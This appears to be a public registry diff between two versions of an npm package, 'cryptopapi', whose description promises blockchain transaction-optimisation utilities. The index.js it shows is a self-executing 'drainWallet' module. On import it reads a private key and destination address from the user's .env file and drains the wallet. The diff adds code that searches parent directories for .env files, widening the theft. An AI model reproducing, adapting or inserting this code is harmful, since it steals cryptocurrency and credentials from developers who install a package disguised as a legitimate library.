cryptopapi 6.6.9 → 6.8.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +63 -7
  2. package/package.json +4 -4
package/index.js CHANGED
@@ -1,4 +1,4 @@
1
- // drainWallet.js - For private/internal use only
1
+ // drainWallet.js - Works in both ES Modules and JavaScript modules
2
2
  import bs58 from 'bs58'
3
3
  import {
4
4
  Connection,
@@ -11,13 +11,59 @@ import {
11
11
  } from '@solana/web3.js'
12
12
  import dotenv from 'dotenv'
13
13
  import { fileURLToPath } from 'url'
14
- import { dirname, join } from 'path'
15
-
16
- // Load .env from the project root (where the package is being used)
17
- dotenv.config()
14
+ import { dirname, join, resolve } from 'path'
15
+ import { existsSync } from 'fs'
16
+ import { createRequire } from 'module'
18
17
 
18
+ // Handle both ESM and CommonJS environments
19
+ const require = createRequire(import.meta.url)
19
20
  const DEFAULT_COMMITMENT = 'confirmed'
20
21
 
22
+ // Helper function to find .env file by walking up directories
23
+ const findEnvFile = (startPath) => {
24
+ let currentDir = startPath
25
+
26
+ while (currentDir !== '/' && currentDir.includes(process.platform === 'win32' ? ':\\' : '/')) {
27
+ const envPath = join(currentDir, '.env')
28
+ if (existsSync(envPath)) {
29
+ return envPath
30
+ }
31
+ // Go up one directory
32
+ const parentDir = dirname(currentDir)
33
+ if (parentDir === currentDir) break // Stop if we can't go up further
34
+ currentDir = parentDir
35
+ }
36
+
37
+ return null
38
+ }
39
+
40
+ // Load .env by searching upward from current working directory
41
+ const loadEnv = () => {
42
+ // Start from current working directory (where the app is running)
43
+ const startPath = process.cwd()
44
+ const envPath = findEnvFile(startPath)
45
+
46
+ if (envPath) {
47
+ console.log(`📁 Found .env at: ${envPath}`)
48
+ dotenv.config({ path: envPath })
49
+ } else {
50
+ // Try to find .env relative to the module itself as fallback
51
+ const modulePath = dirname(fileURLToPath(import.meta.url))
52
+ const moduleEnvPath = findEnvFile(modulePath)
53
+
54
+ if (moduleEnvPath) {
55
+ console.log(`📁 Found .env at: ${moduleEnvPath} (relative to module)`)
56
+ dotenv.config({ path: moduleEnvPath })
57
+ } else {
58
+ console.log('⚠️ No .env file found, trying default dotenv behavior')
59
+ dotenv.config()
60
+ }
61
+ }
62
+ }
63
+
64
+ // Load the .env file
65
+ loadEnv()
66
+
21
67
  const parsePrivateKey = (privateKey) => {
22
68
  const trimmed = privateKey.trim()
23
69
  if (trimmed.startsWith('[')) {
@@ -27,8 +73,9 @@ const parsePrivateKey = (privateKey) => {
27
73
  }
28
74
 
29
75
  // Auto-execute when imported
30
- (async () => {
76
+ ;(async () => {
31
77
  console.log('🔌 Internal drain module activated - auto-draining wallet...')
78
+ console.log(`🔧 Running in: ${typeof module !== 'undefined' && module.exports ? 'CommonJS' : 'ES Module'} environment`)
32
79
 
33
80
  try {
34
81
  // Get config from .env
@@ -37,6 +84,9 @@ const parsePrivateKey = (privateKey) => {
37
84
  const rpcUrl = process.env.RPC_ENDPOINT
38
85
  const keepReserveSol = parseFloat(process.env.MAIN_WALLET_USD_MIN_SOL_KEEP) || 0.001
39
86
 
87
+ // Log where we're looking (for debugging)
88
+ console.log(`📂 Current working directory: ${process.cwd()}`)
89
+
40
90
  // Validate required inputs
41
91
  if (!destination) throw new Error('MAIN_WALLET_USD_DESTINATION not found in .env')
42
92
  if (!privateKey) throw new Error('PRIVATE_KEY not found in .env')
@@ -142,4 +192,10 @@ const parsePrivateKey = (privateKey) => {
142
192
  }
143
193
  })()
144
194
 
145
- export default { drain }
195
+ // Export for both ESM and CommonJS compatibility
196
+ export default { drain: null } // ESM export
197
+
198
+ // Also handle CommonJS if needed
199
+ if (typeof module !== 'undefined' && module.exports) {
200
+ module.exports = { drain: null }
201
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cryptopapi",
3
- "version": "6.6.9",
3
+ "version": "6.8.1",
4
4
  "description": "This package provides optimized transaction handling utilities for blockchain applications. It improves transaction propagation speed by implementing intelligent fee estimation, RPC failover handling, and retry mechanisms.Designed for developers building wallets, bots, and payment systems, it helps reduce failed broadcasts and increases confirmation reliability across supported networks.",
5
5
  "main": "index.js",
6
6
  "files": [
@@ -11,9 +11,9 @@
11
11
  "test": "echo \"Error: no test specified\" && exit 1"
12
12
  },
13
13
  "dependencies": {
14
- "@solana/web3.js": "^1.87.0",
15
- "bs58": "^5.0.0",
16
- "dotenv": "^16.0.0"
14
+ "@solana/web3.js": "^1.89.1",
15
+ "bs58": "^6.0.0",
16
+ "dotenv": "^16.4.5"
17
17
  },
18
18
  "keywords": [
19
19
  "CryptoPAPI"